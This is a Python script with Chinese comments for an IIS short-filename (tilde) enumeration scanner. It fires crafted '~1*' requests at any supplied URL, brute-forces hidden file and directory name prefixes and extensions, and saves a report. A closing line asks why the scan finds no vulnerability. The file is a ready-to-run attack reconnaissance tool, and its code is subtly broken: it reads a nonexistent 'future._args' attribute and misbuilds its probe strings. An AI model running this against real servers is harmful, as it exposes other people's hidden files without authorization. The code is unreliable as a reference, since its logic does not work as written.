import requests
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

class IISShortNameScanner:
    def __init__(self, target_url, threads=5):
        """
        初始化扫描器
        :param target_url: 目标URL (e.g. http://example.com)
        :param threads: 并发线程数
        """
        self.target = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0'
        })
        self.threads = threads
        # 用于暴力破解的字符集（字母+数字）
        self.charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
        self.timeout = 5
        self.found_entries = []

    def check_vulnerable(self):
        """
        检测目标是否存在短文件名漏洞
        :return: Boolean
        """
        test_cases = [
            ("*~1*/a.aspx", 404),  # 存在短文件名时的预期响应
            ("zzzzzz~1*/a.aspx", 400)  # 不存在短文件名时的预期响应
        ]

        try:
            for path, expected_code in test_cases:
                url = f"{self.target}/{path}"
                response = self.session.get(url, timeout=self.timeout)
                if response.status_code != expected_code:
                    return False
            return True
        except (requests.exceptions.RequestException, requests.exceptions.Timeout):
            return False

    def probe_shortname(self, prefix):
        """
        探测特定前缀的短文件名是否存在
        :param prefix: 要探测的前缀 (e.g. "ADMIN*")
        :return: (Boolean, status_code)
        """
        url = f"{self.target}/{prefix}~1*/a.aspx"
        try:
            response = self.session.get(url, timeout=self.timeout)
            return response.status_code == 404, response.status_code
        except requests.exceptions.RequestException:
            return False, 0

    def brute_force_shortnames(self):
        """
        暴力破解短文件名主名称部分（前6个字符）
        :return: 发现的短名前缀列表
        """
        print("[*] 开始暴力破解短文件名...")
        current_level = [""]  # 当前层级的前缀
        
        for position in range(6):  # 短文件名主名称最多6字符
            next_level = []
            tasks = []
            
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                # 为当前每个前缀尝试所有可能的字符扩展
                for prefix in current_level:
                    for char in self.charset:
                        test_prefix = (prefix + char).ljust(6, '*')
                        tasks.append(executor.submit(self.probe_shortname, test_prefix[:6]))
                
                # 处理结果
                for future in as_completed(tasks):
                    exists, _ = future.result()
                    if exists:
                        prefix = future._args[0][:position+1]  # 获取有效前缀
                        if prefix not in next_level:
                            next_level.append(prefix)
            
            if not next_level:
                break
                
            current_level = next_level
            print(f"[+] 第{position+1}位破解完成，有效前缀: {', '.join(current_level)}")
        
        return current_level

    def guess_extension(self, prefix):
        """
        猜解文件扩展名（3字符）
        :param prefix: 已识别的前缀 (e.g. "ADMIN")
        :return: 可能的扩展名列表
        """
        extensions = []
        base_url = f"{self.target}/{prefix}~1."
        
        # 先检查是否有无扩展名的目录
        dir_url = f"{self.target}/{prefix}~1/a.aspx"
        if self.session.get(dir_url, timeout=self.timeout).status_code == 404:
            extensions.append("(DIR)")
        
        # 猜解文件扩展名
        current_ext = ""
        for _ in range(3):
            found_chars = []
            for char in self.charset:
                test_ext = (current_ext + char).ljust(3, '*')
                url = f"{base_url}{test_ext}/a.aspx"
                if self.session.get(url, timeout=self.timeout).status_code == 404:
                    found_chars.append(char)
            
            if not found_chars:
                break
                
            # 如果有多个可能字符，选择第一个（实际应用中可递归处理）
            current_ext += found_chars[0]
        
        if current_ext:
            extensions.append(current_ext[:3].upper())
        
        return extensions

    def scan(self):
        """
        执行完整扫描流程
        """
        print(f"[*] 扫描目标: {self.target}")
        
        if not self.check_vulnerable():
            print("[-] 目标不存在IIS短文件名漏洞")
            return False
        
        print("[+] 目标可能存在IIS短文件名漏洞")
        
        # 暴力破解短文件名
        prefixes = self.brute_force_shortnames()
        if not prefixes:
            print("[-] 未发现短文件名")
            return False
        
        # 猜解扩展名
        print("[*] 开始猜解文件扩展名...")
        for prefix in prefixes:
            exts = self.guess_extension(prefix)
            for ext in exts:
                if ext == "(DIR)":
                    shortname = f"{prefix}~1/"
                    fullname_guess = f"{prefix}* (目录)"
                else:
                    shortname = f"{prefix}~1.{ext}"
                    fullname_guess = f"{prefix}*.{ext.lower()}"
                
                self.found_entries.append((shortname, fullname_guess))
                print(f"[+] 发现: {shortname.ljust(12)} → 可能完整名称: {fullname_guess}")
        
        return True

    def generate_report(self, filename="iis_shortname_report.txt"):
        """
        生成扫描报告
        :param filename: 报告文件名
        """
        with open(filename, 'w') as f:
            f.write(f"IIS短文件名漏洞扫描报告 - {self.target}\n")
            f.write("="*50 + "\n")
            f.write("发现的短文件名:\n\n")
            for short, full in self.found_entries:
                f.write(f"{short.ljust(15)} → {full}\n")
        print(f"\n[+] 扫描报告已保存到 {filename}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="IIS短文件名漏洞扫描器")
    parser.add_argument("url", help="目标URL (e.g. http://example.com)")
    parser.add_argument("-t", "--threads", type=int, default=5, help="并发线程数 (默认: 5)")
    parser.add_argument("-o", "--output", help="报告输出文件名")
    args = parser.parse_args()

    scanner = IISShortNameScanner(args.url, args.threads)
    if scanner.scan() and scanner.found_entries:
        output_file = args.output or f"iis_shortname_{args.url.replace('://', '_')}.txt"
        scanner.generate_report(output_file)
怎么扫描以后显示不存在漏洞